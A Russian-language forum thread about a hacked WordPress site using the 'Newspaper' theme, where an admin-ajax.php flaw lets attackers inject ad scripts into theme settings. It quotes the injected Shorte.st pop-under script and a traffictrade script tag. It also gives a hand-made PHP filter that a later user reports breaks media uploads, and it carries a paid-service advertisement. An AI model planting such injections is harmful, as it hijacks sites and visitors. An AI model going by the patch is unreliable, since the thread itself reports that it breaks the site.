Уязвимость на WP сайте, вешают рекламу
Сайт на WP (Вордпресс и плагины обновляются исправно, все свежее) Появился всплывающий баннер. Путем изучения исходного кода установили, что в теле страницы выводится код с сократителя ссылок Shorte.st (они платят за переходы по сокращенным ссылкам).
Код следующий:
<script type="text/javascript">//<![CDATA[
(function() {
var configuration = {
"token": "a6f162b602a6de26110784b1c5ccc382",
"entryScript": {
"type": "timeout",
"timeout": 3000,
"capping": {
"limit": 5,
"timeout": 24
}
},
"exitScript": {
"enabled": true
},
"popUnder": {
"enabled": true
}
};
var script = document.createElement('script');
script.async = true;
script.src = '//cdn.shorte.st/link-converter.min.js';
script.onload = script.onreadystatechange = function () {var rs = this.readyState; if (rs && rs != 'complete' && rs != 'loaded') return; shortestMonetization(configuration);};
var entry = document.getElementsByTagName('script')[0];
entry.parentNode.insertBefore(script, entry);
})();
//]]></script>
Было установлено, что он перезаписывает содержимое настроек темы, а именно расположение одного из рекламных баннеров (в верхней части рекламы), так как там у нас выводилась реклама Яндекса.
Перезаписываем код на свой, но через день-два он перезаписывается снова вышеуказанным кодом.
Сканировали сайт на вирусы – чисто. Значит, есть уязвимость на сайте. Как ее найти. И кто сталкивался с подобным?
В версии ниже 6.7.2 темы «Newspaper» присутствует узязвимость, с помощью которой можно POST запросом через admin-ajax.php изменить настройку темы, создать администратора на сайте и т.д.
Эта уязвимость была устранена в версии 6.7.2. Поэтому стоит обновить тему. Тем более, уже вышла версия 8.0 темы «Newspaper»

Спасибо, обновился. Буду следить за ситуацией, в случае повторного взлома, напишу.

А что делать если нет возможности обновить тему? Ситуация прозаическая: у клиента нет желания обновлять тему, в которую было внесено очень много изменений в процессе создания сайта. Как поставить патч от этой уязвимости?
Как временное решение проблемы, откройте файл:
/wp-admin/admin-ajax.php
в самом верху после <?php добавьте:
if ( !is_user_logged_in() && isset($_POST['action']) && strcmp($_POST['action'], "td_ajax_update_panel") == 0 && isset($_POST['td_ads']['header']['ad_code']) && strpos($_POST['td_ads']['header']['ad_code'], 'traffictrade') !== false ) {
die("OOps!");
}
По моему, нет ничего дешевле и проще, чем заказать “консервирование” сайтов на WordPress от вирусов и поиска уязвимостей у нашего ГУРУ. Это в несколько раз дешевле, чем лечить сайт от вирусов и других внешних проникновений на сайт. #лучший_кворк
https://kwork.ru/website-repair/11015/zashchishchu-vash-wordpress-sayt-ot-vzloma
Мониторинг проблемы показывает, что атакам подверглась и тема для Вордпресс “Newsmag”, по сути это клон “Newspaper”. Там популярна хакерская вставка вида:
<script src='https:/ /blue.traffictrade.life/main.js' type='text/javascript'></script>
которая ворует трафик с сайтов. Рекомендация та же: обновить тему.
if ( !is_user_logged_in() && isset($_POST['action']) && strcmp($_POST['action'], "td_ajax_update_panel") == 0 && isset($_POST['td_ads']['header']['ad_code']) && strpos($_POST['td_ads']['header']['ad_code'], 'traffictrade') !== false ) {
die("OOps!");
С данным кодом прекращает работать возможность загрузить медиафайлы и все медиафайлы уже имеющиеся не показываются

files
Уточните, у Вас используется тема “Newspaper”?
oron
Да, тема WP Newspaper!